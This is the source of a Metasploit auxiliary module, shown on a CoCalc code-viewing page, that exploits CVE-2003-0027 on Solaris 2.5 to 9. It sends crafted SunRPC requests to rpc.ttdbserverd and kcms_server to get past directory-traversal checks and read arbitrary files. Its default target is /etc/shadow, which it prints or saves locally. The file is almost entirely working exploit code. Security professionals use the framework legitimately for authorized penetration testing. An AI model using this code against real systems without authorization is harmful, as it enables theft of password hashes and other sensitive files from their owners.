CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::SunRPC
8
9
def initialize
10
super(
11
'Name' => 'Solaris KCMS + TTDB Arbitrary File Read',
12
'Description' => %q{
13
This module targets a directory traversal vulnerability in the
14
kcms_server component from the Kodak Color Management System. By
15
utilizing the ToolTalk Database Server\'s TT_ISBUILD procedure, an
16
attacker can bypass existing directory traversal validation and
17
read arbitrary files.
18
19
Vulnerable systems include Solaris 2.5 - 9 SPARC and x86. Both
20
kcms_server and rpc.ttdbserverd must be running on the target
21
host.
22
},
23
'Author' =>
24
[
25
'vlad902 <vlad902[at]gmail.com>', # MSF v2 module
26
'jduck' # Ported to MSF v3
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
['CVE', '2003-0027'],
32
['OSVDB', '8201'],
33
['BID', '6665'],
34
['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2']
35
],
36
# Tested OK against sol8.tor 20100624 -jjd
37
'DisclosureDate' => 'Jan 22 2003')
38
39
register_options(
40
[
41
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'etc/shadow']),
42
OptString.new('OUTPUTPATH', [ false, "Local path to save the file contents to", nil ])
43
])
44
end
45
46
def run
47
48
# There is a fixed size buffer in use, so make sure we don't exceed it..
49
# (NOTE: 24 bytes are reserved for traversal string)
50
path = datastore['PATH']
51
if (path.length > 1000)
52
raise RuntimeError, "File name is too long."
53
end
54
55
print_status("Making request to the ToolTalk Database Server...")
56
57
# Hopefully one of these works ;)
58
ttdb_build("/etc/openwin/devdata/profiles/TT_DB/oid_container")
59
ttdb_build("/etc/openwin/etc/devdata/TT_DB/oid_container")
60
61
# If not, we'll find out now ...
62
print_status("Making open() request to the kcms_server...")
63
sunrpc_create('tcp', 100221, 1)
64
sunrpc_authunix('localhost', 0, 0, [])
65
66
# Prepare the traversing request for kcms_server
67
trav = 'TT_DB/' + ('../' * 5) + path
68
buf = Rex::Encoder::XDR.encode(
69
[trav, 1024],
70
0, # O_RDONLY
71
0755) # mode
72
73
# Make the request
74
ret = sunrpc_call(1003, buf)
75
ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)
76
77
if (ack != 0)
78
print_error("KCMS open() failed (ack: 0x%x != 0)" % ack)
79
80
if (fsize == 0)
81
print_status("File does not exist (or host is patched)")
82
end
83
return
84
end
85
86
# Nice, open succeeded, show the return data
87
print_status("fd: #{fd}, file size #{fsize}")
88
89
print_status("Making read() request to the kcms_server...")
90
buf = Rex::Encoder::XDR.encode(
91
fd,
92
0,
93
fsize)
94
95
ret = sunrpc_call(1005, buf)
96
x, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])
97
98
# If we got something back...
99
if (data)
100
data = data.pack('C*')
101
102
# Store or display the results
103
if (datastore['OUTPUTPATH'])
104
fname = datastore['PATH'].gsub(/[\/\\]/, '_')
105
outpath = File.join(datastore['OUTPUTPATH'], fname)
106
print_status("Saving contents to #{outpath} ...")
107
File.open(outpath, "wb") { |fd|
108
fd.write(data)
109
}
110
else
111
print_status("File contents:")
112
print_status(data.inspect)
113
end
114
else
115
print_error("No data returned!")
116
end
117
118
# Close it regardless if it returned anything..
119
print_status("Making close() request to the kcms_server...")
120
buf = Rex::Encoder::XDR.encode(fd)
121
sunrpc_call(1004, buf)
122
123
# done
124
sunrpc_destroy
125
126
rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e
127
print_error(e.to_s)
128
rescue ::Rex::Proto::SunRPC::RPCTimeout
129
print_warning 'Warning: ' + $!
130
print_warning 'Exploit may or may not have succeeded.'
131
end
132
133
134
#
135
# Send a TT_ISBUILD request to rpc.ttdbserverd
136
#
137
def ttdb_build(path)
138
sunrpc_create('tcp', 100083, 1)
139
sunrpc_authunix('localhost', 0, 0, [])
140
msg = Rex::Encoder::XDR.encode(
141
[path, 1024],
142
path.length,
143
1, # KEY (VArray head?)
144
2,
145
1,
146
0, # KEYDESC
147
2,
148
1,
149
# 21 zeros, /KEYDESC, /KEY
150
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
151
0x10002,
152
path.length)
153
ret = sunrpc_call(3, msg)
154
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)
155
print_status("TTDB reply: 0x%x, %d" % arr)
156
sunrpc_destroy
157
end
158
end
159
160